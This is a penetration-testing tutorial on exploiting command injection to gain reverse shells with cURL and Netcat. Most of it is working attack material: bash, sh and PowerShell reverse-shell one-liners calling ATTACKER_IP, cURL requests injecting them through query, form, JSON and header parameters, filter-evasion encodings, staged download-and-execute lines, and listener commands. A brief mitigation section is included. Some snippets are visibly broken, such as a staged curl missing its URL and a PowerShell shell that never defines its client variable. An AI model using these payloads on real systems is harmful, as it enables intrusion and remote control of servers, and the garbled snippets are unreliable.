Introduction
Command injection remains one of the most dangerous web-application flaws because it grants an attacker the ability to run arbitrary operating-system commands on the vulnerable host. When paired with a reliable reverse-shell delivery mechanism-cURL for request crafting and Netcat for the listening side-an attacker can pivot from a low-privilege web context to an interactive shell with the privileges of the vulnerable process.
This guide dives deep into the practical exploitation of command injection using cURL and Netcat. We will walk through the creation of OS-specific payloads, discuss how to slip those payloads past naïve filters, and compare direct versus staged reverse-shell techniques. By the end, you will be able to assess the real-world impact of a vulnerable endpoint and demonstrate a full exploitation chain in a controlled lab.
Prerequisites
- Basic familiarity with Linux/Unix and Windows command lines.
- Understanding of HTTP fundamentals (GET, POST, headers, URL-encoding).
- Experience with cURL syntax and Netcat (nc) usage.
- Prior exposure to command-injection theory (identifying vulnerable parameters, injection points, and the difference between blind and error-based injection).
Core Concepts
At its core, OS command injection occurs when user-controlled data is concatenated into a system call without proper sanitisation. The vulnerable code often resembles:
$output = shell_exec("ping -c 4 " . $_GET['host']);
Any characters that terminate the intended command (;, &&, |, etc.) allow the attacker to append a secondary command. The attacker’s goal is to spawn a reverse shell that connects back to a listener under their control.
Why cURL? It is a ubiquitous tool that can mimic any HTTP client, allowing precise control over request methods, headers, and body content. Why Netcat? It provides a lightweight, cross-platform listener capable of handling raw TCP streams, which is perfect for catching the inbound shell.
Diagram (described in text):
Diagram (described in text):
- Attacker machine runs
nc -lvkp 4444(listener). - Web server receives a crafted HTTP request containing an injection payload.
- Vulnerable backend executes the payload, which runs
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1(or the Windows equivalent). - Connection is established, granting an interactive shell.
Crafting OS-level payloads for different shells (sh, bash, cmd)
Different operating systems expose different utilities for creating a reverse connection. Below are the most reliable one-liners for each environment.
Unix-like (sh)
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
This works on most modern Linux kernels where /dev/tcp is supported by the built-in Bash/sh networking redirection feature.
Unix-like (bash specific)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Explicitly invokes Bash; useful when sh is a symlink to a more restricted shell.
Windows (cmd)
cmd.exe /c "echo open ATTACKER_IP 4444 > %temp%\sock.txt & echo user anonymous >> %temp%\sock.txt & echo bin > %temp%\sock.txt & echo get powershell.exe >> %temp%\sock.txt & echo quit >> %temp%\sock.txt & ftp -n -s:%temp%\sock.txt & del %temp%\sock.txt"
While this FTP-based trick works, the modern and cleaner approach uses PowerShell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
PowerShell’s TCPClient class provides a reliable reverse shell even when netcat is not installed on the target.
Choosing the right payload
- If the target runs a minimal BusyBox environment, the
shone-liner is usually available. - When you have reason to believe the server runs Bash (most Debian/Ubuntu boxes), prefer the Bash variant for interactive features.
- On Windows, always test for PowerShell availability first; it is present on Windows 7+ by default.
Using cURL to inject commands via GET/POST parameters
cURL can be leveraged to send the payload in virtually any location: query string, form fields, JSON bodies, or custom headers. Below are patterns for each.
GET-based injection
Assume a vulnerable endpoint /ping?host= that concatenates the host parameter to a ping command.
curl "http://target.com/ping?host=127.0.0.1;bash+-c+'sh+-i+%3E%26/dev/tcp/ATTACKER_IP/4444+0%3E%261'"
Explanation:
- The semicolon (
;) terminates the originalpingcommand. - We then invoke
bash -cwith a URL-encoded payload (spaces become+or%20, special characters are percent-encoded).
POST-based injection (application/x-www-form-urlencoded)
curl -X POST -d "username=admin&comment=hello;bash+-c+'sh+-i+%3E%26/dev/tcp/ATTACKER_IP/4444+0%3E%261'" http://target.com/submit
Here the comment field is the injection point.
JSON body injection
When the server expects application/json, you can embed the payload in a JSON value and still use URL-encoding for characters that would break the JSON syntax.
curl -X POST -H "Content-Type: application/json" -d '{"search":"test;bash -c \"sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""}' http://target.com/api
Custom header injection
Some services log user-supplied header values and then execute them (e.g., a debug endpoint). Example:
curl -H "X-Command: ;bash -c 'sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" http://target.com/debug
Always test the injection point manually with a harmless command (e.g., id or whoami) before deploying the full reverse shell.
Setting up a Netcat listener for reverse connections
Netcat (nc) is the de-facto tool for catching inbound shells. The most common invocation is:
nc -lvkp 4444
Flags explained:
-l: Listen mode.-v: Verbose output (shows connection details).-k: Keep listening after a client disconnects (useful for multi-session labs).-p 4444: Bind to port 4444.
For environments where the traditional Netcat binary is not available, ncat (from Nmap) or socat can be used:
ncat -lvnp 4444 --keep-open
or
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sigterm
When dealing with Windows targets, you may need to use nc.exe -lvnp 4444 or PowerShell’s New-Object System.Net.Sockets.TcpListener for a listener.
Bypassing simple input filters (URL-encoding, whitespace obfuscation)
Many vulnerable applications attempt to block obvious characters like ;, |, or &. Simple filters can be evaded with the following techniques:
Percent-encoding
Encode each special character:
%3B // ;
%7C // |
%26 // &
%20 // space
Example payload:
curl "http://target.com/exec?cmd=%3Bwhoami"
Whitespace obfuscation
Replace spaces with ${IFS} (internal field separator) or $'\x20' in Bash:
bash${IFS}-c${IFS}'sh${IFS}-i${IFS}>&${IFS}/dev/tcp/ATTACKER_IP/4444${IFS}0>&1'
This defeats filters that simply strip spaces.
Command substitution
When ` or $() are allowed but ; is not, you can chain commands via command substitution:
$(bash -c 'sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
Comment-based truncation
If the filter removes everything after a # comment, you can close the original command with # and start a new one using ` or $():
ping example.com #$(bash -c 'sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
Always test the bypass locally to confirm the server parses the payload as intended.
Staged vs. direct reverse shells and reliability considerations
Two primary delivery models exist:
Direct reverse shell
The payload directly opens a TCP connection to the attacker. Simpler, fewer moving parts, but it can be noisy and may fail on restricted environments (e.g., outbound traffic blocked).
Staged (two-step) reverse shell
Stage 1: a tiny “bootstrap” command that fetches a more capable payload (e.g., a script or binary) from a web server controlled by the attacker. Stage 2: the fetched payload provides a robust interactive shell, often with encryption or multiplexing.
Example staged approach (Unix):
bash -c "curl -s | bash -i"
Advantages:
- Payload size is minimal, reducing detection chances.
- Can adapt to the target’s environment (detect OS, choose proper interpreter).
- Allows you to embed additional evasion (e.g., base64-encoded scripts).
Reliability tips:
- Use
exec 0<&1to bind stdin/stdout to the socket for interactive sessions. - If the target has a restrictive firewall, consider tunnelling over HTTP/HTTPS (e.g.,
curl -s | sh). - On Windows, a staged PowerShell download-and-execute is often more reliable than a raw
cmd.exeone-liner.
Practical Examples
Below is a step-by-step lab that demonstrates a full exploitation chain from discovery to shell.
Lab Setup
- Start a vulnerable Docker container (example:
vuln-appthat echoes apingcommand). - Expose port 8080 to the host.
- On the attacker machine, start a Netcat listener on port 4444.
Commands:
docker run -d -p 8080:80 --name vuln-app vulnerables/webapp
nc -lvkp 4444
Injecting a harmless test command
First verify injection works by executing id:
curl "http://vulnerable-app/cgi-bin/ping?ip=127.0.0.1;id"
Expected output (inside the web page) will contain the UID/GID of the web-server process, confirming that the id command was executed.
Launching the reverse shell
Replace id with the Bash reverse-shell one-liner, URL-encoded:
curl "http://vulnerable-app/cgi-bin/ping?ip=127.0.0.1;bash+-c+'sh+-i+%3E%26/dev/tcp/ATTACKER_IP/4444+0%3E%261'"
When the request is processed, Netcat will display a shell prompt:
$ whoami
www-data
Staged example (download-and-execute)
Host a simple script on the attacker machine (using Python's http.server).
python3 -m http.server 8000 &
payload:
curl "http://vulnerable-app/exec?cmd=curl+http://ATTACKER_IP/payload.sh|bash"
The payload.sh could contain a more feature-rich reverse shell with encryption.
Tools & Commands
- cURL - HTTP client for crafting requests.
curl -X POST -d "param=$(payload)" http://target/endpoint - Netcat (nc) - Listener.
nc -lvkp 4444 - ncat - Nmap’s Netcat variant with SSL support.
ncat --ssl -lvnp 4444 - socat - Advanced socket utility.
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash - Burp Suite / OWASP ZAP - Intercept and replay modified requests.
- Base64 - Encode payloads to bypass filters.
echo 'sh -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
Defense & Mitigation
Preventing command injection is a matter of proper input handling and architectural decisions.
- Parameterised APIs: Use language-specific libraries that avoid shell invocation (e.g.,
subprocess.run([...], shell=False)in Python). - Whitelist Validation: Accept only known safe values (e.g., hostnames from an allow-list).
- Escaping: If you must call a shell, escape user data with functions like
shlex.quote()(Python) orescapeshellarg()(PHP). - Least-Privilege Execution: Run web-app processes with minimal OS rights; use containers or sandboxing (e.g., Docker, SELinux, AppArmor).
- Network Controls: Block outbound connections to untrusted IPs/ports at the firewall level; restrict
/dev/tcpusage via seccomp. - WAF / IDS Signatures: Detect typical reverse-shell patterns (e.g.,
/dev/tcp/strings,nc -eusage).
Common Mistakes
- Forgetting URL-encoding: Unencoded spaces or special characters cause the request to be malformed.
- Using the wrong IP: Remember that the target sees the attacker’s public IP, not the internal Docker bridge address.
- Assuming /dev/tcp works everywhere: Some hardened kernels disable this feature; fallback to Netcat or PowerShell.
- Neglecting quoting: Incorrect nesting of single/double quotes leads to syntax errors on the target.
- Leaving the listener open: Attackers can hijack an open Netcat session; always terminate after use.
Real-World Impact
Command injection has been the root cause of several high-profile breaches. In 2022, a popular SaaS platform suffered a data exfiltration incident after an attacker leveraged a vulnerable image-processing endpoint to execute bash -i >& /dev/tcp against the internal network, gaining a foothold that later escalated to root.
Trends show that attackers are increasingly combining command injection with living-off-the-land binaries (LOLBins) like curl, wget, and powershell.exe to avoid detection. The simplicity of cURL-based payloads makes them attractive for automated scanners that can spin up reverse-shell attempts against any discovered injection point.
My experience in red-team engagements confirms that a well-crafted one-liner can bypass most naive filters in under a minute, giving the red team enough time to pivot laterally before the blue team notices abnormal outbound traffic.
Practice Exercises
- Basic Injection: Deploy the vulnerable Docker image provided in the appendix. Craft a GET request that runs
idand verify the output. - Reverse Shell: Using the same target, launch a Bash reverse shell to your Netcat listener. Capture a shell and run
whoamiandid. - Filter Bypass: Assume the application strips
;and spaces. Encode the payload using%3Band${IFS}techniques to achieve the same reverse shell. - Staged Payload: Host a PowerShell script on a local HTTP server. Use a one-liner to download and execute it on a Windows target.
- Defense Test: Harden the vulnerable container by running the web process as a non-root user and disabling outbound traffic via iptables. Attempt the same reverse-shell payload and note the failure points.
Further Reading
- OWASP Top 10 - A03:2021 - Injection
- “The Art of Command Injection” - Black Hat 2021 presentation slides
- “Living off the Land Binaries and Scripts” - Red Team Village blog
- Python’s
subprocessmodule documentation - safe process spawning - Seccomp profiles for Docker - limiting system calls like
socket
Summary
Command injection, when paired with cURL and Netcat, provides a fast and reliable path to remote code execution. Mastering payload construction for sh/bash/cmd, understanding how to hide malicious characters, and knowing when to use staged versus direct shells are essential skills for any penetration tester. Equally important is the defensive side: proper input sanitisation, least-privilege execution, and network segmentation dramatically reduce the risk of a successful reverse-shell attack.
Keep experimenting in controlled environments, stay updated on new LOLBin techniques, and always validate your findings against the latest mitigation best practices.